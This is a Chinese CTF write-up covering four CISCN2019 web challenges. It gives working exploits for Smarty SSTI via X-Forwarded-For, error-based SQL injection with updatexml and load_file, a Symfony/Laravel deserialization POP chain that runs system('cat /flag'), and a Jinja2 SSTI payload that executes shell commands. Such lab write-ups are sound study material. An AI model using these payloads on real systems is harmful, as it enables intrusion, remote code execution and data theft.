刷题记录

[CISCN2019 华东南赛区]Web11

知识点:

  • Smarty SSTI

  • XFF

    题目打开后,提示了Build With Smarty !,于是猜测存在Smarty SSTI,右上角有回显的IP。然后题目提示有XXF,抓个包直接改XFF为Smarty SSTI的payload,没想到直接打通了。

关于Smarty SSTI可以看这篇文章

https://zhuanlan.zhihu.com/p/91595921

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

看前端源码的注释

怀疑有文件包含,伪协议直接读文件内容,成功

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>

change.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

search.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
require_once "config.php"; 

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

这道题奇怪的点在于,对user_name和phone都进行了很好的过滤,但是对address却只有一层转义

那么这个address就可以用来注入了

这里虽然被转义了,但是从代码中可以看到,修改后之前的地址也会保存下来,那么如果写入payload,那么在第二次修改的时候就可以出发报错注入。

payload;

1’ where user_id=updatexml(1,concat(0x7e,(select substr(load_file(‘/flag.txt’),1,20)),0x7e),1)#

1’ where user_id=updatexml(1,concat(0x7e,(select substr(load_file(‘/flag.txt’),20,50)),0x7e),1)#

这里读表读了半天没有flag,看了大佬博客才知道要load_file

[CISCN2019 总决赛 Day1 Web4]Laravel1

知识点:

  • PHP反序列化

单纯的反序列化,就是项目挺大,找POP链还是不太容易

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//backup in source.tar.gz

namespace App\Http\Controllers;


class IndexController extends Controller
{
public function index(\Illuminate\Http\Request $request){
$payload=$request->input("payload");
if(empty($payload)){
highlight_file(__FILE__);
}else{
@unserialize($payload);
}
}
}

用Seay工具全局搜索__destuct(),需要找到一个有可变参数的__destuct(),最终在TagAwareAdapter类中找到

跟进commit函数

再跟进invalidateTags([])

其他都很正常,但是$this->pool->saveDeferred($item)这里,调用了外部类的方法,搜索一下$this->pool。

可以看到这个类需要实现AdapterInterface接口,我们直接全局搜索saveDeferred函数,然后通过是否有AdapterInterface接口来进行排除,就剩下不多了,在通过有无利用点,确定了ProxyAdapter这个类,在这个类中找saveDeferred

然后跟进doSave

我们会惊奇的发现,这里是可以利用的。要利用的话就要保证setInnerItem和innerItem可控,setInnerItem就在类中,innerItem通过下面这个语句可以发现,我们需要给到一个有innerItem参数的类

继续全局搜索innerItem,然后确定了CacheItem

接下来的事情就简单了,构造POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
namespace Symfony\Component\Cache;
class CacheItem
{

protected $innerItem = 'cat /flag';

}

namespace Symfony\Component\Cache\Adapter;

class ProxyAdapter
{
private $setInnerItem = 'system';
}

class TagAwareAdapter
{
public $deferred;
public function __construct()
{
$this->pool = new ProxyAdapter();

}
}

$a = new TagAwareAdapter();
$a -> deferred = array('hack' => new \Symfony\Component\Cache\CacheItem);
echo urlencode(serialize($a));

然后发送payload就可以getflag

[CISCN2019 华东南赛区]Double Secret

知识点:

  • Flask SSTI
  • RC4解密

根据这里猜测有secret页面

果然,然后传参,没试出什么规律,然后乱打一通打出了报错

然后找到了加密的源码

1
2
3
4
5
6
7
8
9
10
11
    if(secret==None):
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure") #解密
deS=rc.do_crypt(secret)

a=render_template_string(safe(deS))

if 'ciscn' in a.lower():
return 'flag detected!'
return a
Open an interactive python shell in this frame

没想到还挺简单的,就是个RC4加密,密钥就是HereIsTreasure找个脚本

然后看到这里有个render_template_string,看不懂,但是有个template,觉得应该是跟模板有关,用SSTI的payload加密一下传上去

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import base64
from urllib import parse

def rc4_main(key = "init_key", message = "init_message"):#返回加密后得内容
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt

def rc4_init_sbox(key):
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box
def rc4_excrypt(plain, box):
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))

key = "HereIsTreasure" #此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main( key , message )
enc_init = str(base64.b64decode(enc_base64),'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:"+enc_url)
#print("rc4加密后的base64编码"+enc_base64)

payload:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}